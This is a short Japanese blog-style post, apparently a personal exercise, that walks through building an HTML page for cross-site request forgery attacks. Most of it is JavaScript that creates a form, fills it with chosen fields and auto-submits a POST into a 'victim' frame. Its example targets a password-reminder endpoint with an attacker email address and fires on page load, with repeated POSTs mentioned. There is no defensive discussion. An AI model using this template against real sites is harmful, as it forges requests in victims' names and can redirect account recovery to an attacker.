CSRF 攻撃用の html ファイルを作ってみる修行

もう少しきれいに書けるはずだが、とりあえず用は足りたので。

 <input id="baseURL" name="baseurl" type="text" value="" />

な要素を作っておいて、攻撃先の URL を入れておく。あと

 <div id="g"><br/></div>

な場所を用意しとく。
で、次の JavaScript を用意。

var g = document.getElementById('g');
var f = new_attack_form();

function new_attack_form() {
  g.removeChild(g.firstChild);
  var z = document.createElement('form');
  g.appendChild(z);

  z.append = function(name, value) {
    var v = document.createElement('input');
    v.setAttribute('type', 'text');
    v.setAttribute('name',  name);
    v.setAttribute('value', value);
    this.appendChild(v);
  }
  z.post = function(path) {
    var url = document.getElementById('baseURL').value + path;
    this.action = url;
    this.method = 'post';
    this.target = 'victim';
    this.submit();
  }
  return z;
}

あとは必要に応じて new_attack_form() を利用。たとえば、こんな感じで。

function exec_reminder() {
 f.append('mail', 'attacker@xxx.yyy.zzz');
 f.append('q', 'b');
 f.append('a', '〆鯖');
 f.append('submit', '送信');
 f.post('reminder/complete.cgi');
}

これを body の onload で呼んでみたり。連続 POST とかもこれで。

使っていたものを加工してここに書いたので、すでに動かないものになっている可能性もあったりなかったり。